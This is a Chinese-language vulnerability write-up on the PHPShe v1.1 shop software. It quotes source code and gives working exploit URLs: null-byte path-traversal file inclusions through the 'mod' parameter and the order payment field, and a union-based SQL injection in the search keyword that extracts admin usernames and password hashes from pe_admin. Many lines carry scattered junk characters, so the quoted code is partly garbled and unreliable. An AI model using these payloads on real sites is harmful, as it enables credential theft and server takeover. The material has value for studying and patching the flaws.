phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
$ [: e1 ]6 D6 R$ N7 f7 O/* Phpshe v1.1 Vulnerability
3 B* p8 B( O  d; e/* ========================
0 m! F$ j  H5 k$ F# `% j/* By: : Kn1f3
& z8 g: E6 E1 h/* E-Mail : 681796@qq.com
  X. n4 ~( [/ h" ~! c/*******************************************************/
0×00 整体大概参数传输



//common.php
9 i: ^+ w8 w9 J5 C% oif (get_magic_quotes_gpc()) {
+ w. w4 }- u7 e!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
4 ~0 G. U2 H+ ~% H# c, s6 Y}
" d6 l( ?) Y* k4 Y: A6 T+ r! y! yelse {
! b2 R3 L7 O3 ~3 x. ]- _  H!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
' E* C+ d6 j% s" N, _  t}
' ]: L8 y. x' {2 ?) T( w. vsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
: r. F4 o0 Q  ?* U, z. i7 M5 D- W3 ~!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

: r: m2 b) W8 Q0×01 包含漏洞


//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
+ A% d$ [, ]3 g8 ^0 x2 O( Pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
# ], u1 t* t6 S( j/ n+ Kpe_result();
& g7 c- @6 z* r9 J( P/ Y6 @?>
//common 文件 第15行开始
8 |/ S4 O! I" durl路由配置
8 T/ ]6 P; t; Z$ C8 d( H/ x4 b% H$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 }8 E: Y0 z- K+ B$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
$ [* h# @7 Q# ^

4 [( Z: f4 c* i- Y6 V9 c1 v% I1 h+ B 0×02 搜索注入

<code id="code2">

//product.php文件
2 o: Z4 E$ v) c4 rcase 'list':
+ L$ c7 `) ^* K1 b; ], }$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
. h' r( a  F. P+ a' I//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
. M8 X5 _7 \' \. @" xif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
$ }* o* C) n0 n6 l}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
* Z% a- w! s+ j# K& z- ?$ [+ S! N$orderby = explode('_', $_g_orderby);
# @* N5 z4 j9 A$ z: H- @! S$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
: `  I0 n5 Q+ F5 u5 ^. D}
: r; i# @# a0 A7 X+ ?$ relse {
0 @+ j0 v) q$ g3 `# k4 p1 J$sqlwhere .= " order by `product_id` desc";
: N, x; q$ w( c! G}
* l6 a9 J; g( y2 }. P1 N$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
4 s2 R9 N6 f; B" h. o//热卖排行
$product_hotlist = product_hotlist();
) i3 }) ]5 y! w5 ~* g3 ?//当前路径
" g3 {9 C% y9 E) Q& R$nowpath = category_path($category_id);
: Z+ c- W; U1 l- T* c+ v$seo = pe_seo($info['category_name']);
# B0 n) s1 z, k2 |- d/ l+ Sinclude(pe_tpl('product_list.html'));
! q. ]" q' }8 f8 b1 }, `//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 l% @5 P2 h% Z/ ]( n- h6 ~0 b{
//处理条件语句
, o8 [# u+ O$ Q" O$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( J3 U2 m7 Q6 T. Q}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
/ m3 b# |! e4 P1 D6 X

</code>

0×03 包含漏洞2
. X; @% K) ~  b/ p, c: S5 q
7 e; `" a( V& x% @5 \<code id="code3">

//order.php

case 'pay':

+ R. Z" c$ Q( ]. ]8 n- S, l$order_id = pe_dbhold($_g_id);

! E" ~" T/ H; e; y  n$cache_payway = cache::get('payway');

( s& b! @, ]( s5 x, L/ F& ?' X, oforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

: u/ \+ N3 \, @) P$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

$ ^6 z0 m& @2 T7 Z!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

0 m0 i+ h5 Q9 N$order['order_name'] .= "{$v['product_name']};";

: T$ K$ ?6 H# v/ x8 W1 o3 C9 c4 D}

echo '正在为您连接支付网站，请稍后...';

& H0 \3 C$ y% T7 Binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

5 n1 ?/ ?1 E: O% `, {0 C}//当一切准备好的时候就可以进行"鸡肋包含了"

, ]5 F; _% t7 x% z+ Y# P; a, felse {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

, ~3 y5 ^8 Z* e, h; lbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>